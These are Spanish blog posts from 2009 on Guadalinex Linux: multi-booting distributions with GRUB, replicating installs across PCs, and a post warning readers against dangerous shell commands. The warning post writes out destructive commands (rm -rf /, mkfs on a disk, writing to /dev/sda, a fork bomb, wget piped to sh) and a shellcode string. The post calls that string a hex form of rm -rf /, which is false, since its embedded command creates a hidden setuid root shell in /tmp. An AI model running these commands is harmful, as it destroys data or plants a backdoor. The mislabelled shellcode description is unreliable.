miércoles, 10 de junio de 2009

Instalando varias distribuciones de Linux

Puede ser que después de usar Guadalinex, queramos tener instalada otra o varias distribuciones de Linux, para probarlas. Para instalar la nueva distro en el disco duro, en otra partición distinta en la que ya tenemos Guadalinex hay que tener en cuenta lo siguiente: ( doy por hecho que se sabe instalar una distribución de Linux, ya que este no es un tema para aprender esto )

– Copia de seguridad del MBR y de la tabla de particiones: Siempre que se vaya a modificar particiones y/o gestor de arranque, existe un peligro de corromper tanto el sector de arranque (MBR o Master Boot Record) como la tabla de particiones. Para tener una copia de seguridad que podamos restaurar si ocurre algún desastre: copiar/restaurar la tabla de particiones y mbr

– Particiones: Lo primero obviamente es crear la partición correspondiente ,( bien desde el Gparted instalado en Guadalinex, bien desde el propio sistema de instalación de la nueva distro que vas a instalar, o bien incluso desde un live-cd con Gparted)  y una (solo una) para swap. Lo de una partición /home uniforme para todas las distros no lo recomiendo ya que  a lo mejor tienes alguna incompatibilidad entre programas por la configuración, por ejemplo puede haber problemas con gnome si son versiones distintas, las versiones de los programas son distintas, etc, etc… Es decir lo mas cómodo para no tener tantas particiones, y ya que la instalación de una nueva distro es solo para probar, es crear una sola partición nueva en la que se instalara toda la nueva distro ( es decir con /home/usuario en la misma partición que / ), y sin crear una nueva partición swap, ya que la que ya tienes para Guadalinex nos servirá también para la nueva distribución de linux. ( También podrías crear para la nueva distro dos particiones una para / y otra distinta para /home, pero no usar la partición /home de Guadalinex para la nueva distro).

En todo caso el particionamiento debe hacerse de forma manual, y teniendo mucho cuidado de no formatear la partición/es ( solo una partición /   , o  dos particiones: / y /home ) en las que pueda estar instalado Guadalinex.

– Instalación del grub:

I- Si la nueva distro permite elegir el grub donde quieras: Imaginemos que tienes Guadalinex en /dev/sda1 y su grub en el mbr. Después instalas otra distro ( por ejemplo Ubuntu)  en/dev/sda2 para probarla, pero al final su grub lo instalas en la misma partición de Ubuntu ( en este ejemplo en /dev/sda2 ), de esta forma no te sobrescribe el grub de Guadalinex, sino que sigue siendo éste el que aparece al iniciar el pc.
Luego reinicias Guadalinex y tienes que editar el grub de Guadalinex y añadirle las lineas de arranque de Ubuntu (que están en el grub de Ubuntu /dev/sda2), para poder acceder a la nueva distro en el siguiente arranque del pc.

De esta forma si quieres desinstalar la distro de prueba Ubuntu solo tienes que:
1- formatear la partición donde lo has instalado ( en este ejemplo /dev/sda2) con lo que se borrara también su grub ( se hace con Gparted bien desde un live cd o bien desde Guadalinex  )
y 2- borrar la línea del grub de Guadalinex que hace referencia a Ubuntu ( se hace con el editor del menú de arranque -> Grubaker, bien desde el live cd de Guadalinex o desde el Guadalinex instalado en el disco duro).

II- Si la nueva distro No permite elegir el grub donde quieras, sino que lo instala por defecto en la 1ª partición del 1º disco, entonces:
1-  si en el nuevo grub están las entradas que hubiera en el grub de Guadalinex, mas las de la nueva distro, ya podremos usar cualquiera de los dos sistemas operativos;
o 2- si en el nuevo grub no están las entradas que hubiera en el grub de Guadalinex,  habría que mediante el live cd de Guadalines modificar el grub para que tenga todas las entradas necesarias.

Luego si quisiéramos desintalar la distro de prueba solo hay que:
1- formatear la partición donde la hayas instalado ( se hace con Gparted bien desde un live cd o bien desde Guadalinex  )
y 2- mediante el live cd de Guadalinex modificar el grub para que tenga solo las entradas de éste.

-----------------------------------------------

viernes, 5 de junio de 2009

Replicar una instalación en varios pcs


La situación es la siguiente: tenemos varios pcs en los que queremos instalar en todos ellos el Sistema Guadalinex y que tengan todos los mismos paquetes, y queremos hacerlo de la forma mas rápida y segura posible.

I) Clonando las particiones con Partimage o Clonezilla:

Una vez instalado el sistema en un primer pc e instalado posteriormente todos los paquetes necesarios, se puede clonar la partición / ( si todo el sistema esta instalado en una sola partición ) o la partición / y la /home ( si el sistema esta instalado en estas dos particiones ), para instalar el sistema clonado en los demas pcs. Para que este sistema funcione bien el hardware de los pcs debe ser similar. En este tema se explica como clonar particiones.


-------------------------------------------------

II) Instalar todo el Sistema base y seguidamente instalar una lista con todos los paquetes que deseamos:

Con este sistema No es necesario que todos los pcs tengan el hardware similar, ya que en cada uno de ellos se hace la instalación del sistema por separado. Se necesita que todos los pcs tengan conexión a internet.

1- Instalar en cada pc el sistema base con el cd live de instalación de Guadalinex

2- Replicar una instalación en varios pcs a partir de un "pc plantilla": una forma sencilla es obtener una lista de los paquetes de una instalación en un pc para luego usarla para instalar directamente esta lista en otros pcs.

– Para obtener una lista de los paquetes que tenemos en nuestro “pc plantilla”, procederemos ejecutar lo siguiente en una Terminal:
$ dpkg --get-selections | grep -v deinstall > ubuntu-files

Ésto nos genera en /usuario/home un archivo llamado ubuntu-files, el cual contiene la lista que deseamos. – Para luego instalar todos estos paquetes en las otras máquinas, bastará con llevarnos este fichero a dichas máquinas y ejecutar:
$ sudo apt-get update
$ sudo apt-get dist-upgrade
$ sudo dpkg --
set-selections < ubuntu-files
$ sudo dselect install
Ya tenemos unos pcs que tienen una réplica exacta de la instalación del “pc plantilla”.

-------------------------------------

III) Instalar todo el Sistema base y seguidamente instalar los paquetes que deseamos, con AptOnCD:

Con este sistema No es necesario que todos los pcs tengan el hardware similar, ya que en cada uno de ellos se hace la instalación del sistema por separado. Al contrario que en el método anterior, No se necesita que todos los pcs tengan conexión a internet.

1- Instalar en cada pc el sistema base con el cd live de instalación de Guadalinex

2- Replicar una instalación en varios pcs a partir de un CD/DVD creado con la aplicación AptOnCD

------------------------------------------------------

lunes, 1 de junio de 2009

Comandos peligrosos

He estado dudando mucho si publicar o no este tema sobre comandos que podrían dañar tus archivos o tu sistema operativo por completo, ya que no quisiera ser responsable de que por curiosidad los ejecutaras y se estropeara tu sistema; por lo tanto te lo digo: NO EJECUTES estos comandos, aunque estos comandos no hacen gran cosa si no se ejecutan como root

--------------------------------------------

rm -rf /
Esto borrará recursivamente y de manera forzada todos los archivos de tu directorio raíz, o root.

Como hay "gente pa to" en algún lugar he leído que un tio ejecuto ese comando, grabando el resultado con una videocámara, para luego poner el resultado en youtube; luego supongo que reinstalaria el sistema con una copia de seguridad que tubiera a buen recaudo.

Para saber el buen uso de este comando teclea en una terminal: man rm
--------------------------------------------
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
r
elease */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -rf /], que podría confundir a los más experimentados.
--------------------------------------------
mkfs.ext3 /dev/sda
Se formateará (o borrará) todos los archivos en el dispositivo mencionado después del comando mkfs.

Para saber el buen uso de este comando teclea en una terminal: man mkfs --------------------------------------------
:(){:|:&};:
Conocido como forkbomb, le ordenará a tu sistema ejecutar una gran cantidad de procesos hasta que éste se congele. Frecuentemente puede llevarnos a datos corruptos.

Una forma de hacer que no pase nada con la "forkbomb" es editar en modo root y añadir al final del archivo/etc/security/limits.conf la línea :
% hard nproc 50
Con esto limitamos a 50 el número máximos de procesos que puede ejecutar el usuario.
Guardamos la configuracion (Ctrl + O) y salimos (Ctrl + X).
Ahora para que empecemos a estar protegidos solo basta reiniciar el PC.
Si al configurar el valor en 50, recibes cada tanto un error como este: bash: fork: recurso temporalmente no disponible, esto es debido a que el usuario esta ejecutando mas de 50 procesos normalmente, por lo cual para no recibirlo, modifica el valor a un nivel mas alto, de acuerdo a la cantidad de procesos que ejecutes normalmente: puedes saberlo ejecutando en una terminal el comando top, y viendo que número hay después de Tasks.

--------------------------------------------
cualquier_comando > /dev/sda
Con este comando, se escribirá información en un block que usualmente corresponde al sistema de archivos, lo que resulta en una pérdida total de información.
--------------------------------------------
wget http://alguna_fuente_desconocida -O- | sh
Nunca descargues archivos de fuentes desconocidas, pues después podrías ejecutar cualquier código malicioso que se te envíe.
--------------------------------------------
mv /home/tu_nombre/* /dev/null
Se moverán todos los archivos en tu directorio home a un lugar que no existe. Esto quiere decir que no volverás a ver esos documentos de nuevo.

Para saber el buen uso de este comando teclea en una terminal: man mv

-------------------------------------------

No debería uno fiarse de cualquier script con comandos que uno no entiende. Esto no sera un virus, porque no se autoreproduce, pero llamémosle como queramos es un peligro. Y no creo que haya una herramienta, método o algo que nos ayude a comprobar antes de ejecutar un script que no tenga algo malicioso de ese tipo, salvo aprender comandos y mas comandos, para estudiar el script antes de ejecuarlo, lo cual me parece que esta fuera del alcance de la mayoria de los que usamos linux.

De todas formas se puede aprender mucho usando la Terminal para saber sobre los comandos, si tecleas: man nombre del comando te aparece información sobre ese comando, lo que significa, sus opciones, usos etc. Y si quieres aprender a crear tus propios scripts, aquí explico como crear un script básico.

Que conste que por ahora todos los scripts que he usado: http://g-scripts.sourceforge.net/nautilus-scripts.javielinuxhttp://gnome-look.org/  (entre ellos: nautilus cripts pack) o no me han funcionado pero tampoco me han dado problemas, o si me han funcionado y sin problemas.

Si instalas/ejecutas cualquier cosa SIEMPRE es por tu cuenta y riesgo. Lo que ocurre es que es poco probable que si alguien tiene desde hace tiempo una web de paquetes o de scripts y todo el mundo está contentísimo con ella vaya a tener algún script malintencionado.

También hay que tener cuidado con los scripts, comandos, etc que te puedan aconsejar que ejecutes en una página, blog, foro, etc, No teclees nada en la terminal procedente de alguien en el que no confíes.

Pero todo tiene su solución. Se pueden ejecutar los scripts sin firmar: 1- en una jaula chroot 2- directamente en una máquina virtual, con Virtualbox con "una instantánea" del Sistema. De esta forma el desastre se reduce prácticamente a nada. 3- En un pc de prueba con el mismo sistema linux que tengamos en nuestro pc de trabajo.

------------------------------

Esta es la explicación de lo que es una "jaula chroot" dada por "Guadafan":

El comando chroot sirve para cambiar el directorio raíz. Imagina que en guadalinex tienes una carpeta llamada /home/hatteras/misegundoguadalinex
Dentro de esa carpeta tienes la copia de otra distro básica o de tu misma guadalinex, es decir, que tendrías algo así como:

/home/hatteras/misegundoguadalinex/bin
/home/hatteras/misegundoguadalinex/sbin
/home/hateras/misegundoguadalinex/usr
/home/hateras/misegundoguadalinex/etc
/home/hateras/misegundoguadalinex/home
...

Pues si haces chroot /home/hateras/misegundoguadalinex automáticamente cambiarías el directorio de trabajo a este directorio y el directorio raiz / ahora sería misegundoguadalinex/, pero totalmente transparente. Al hacer chroot estarías ejecutando comandos que hay dentro de misegundoguadalinex no de tu guadalinex original.

-------------------------------------------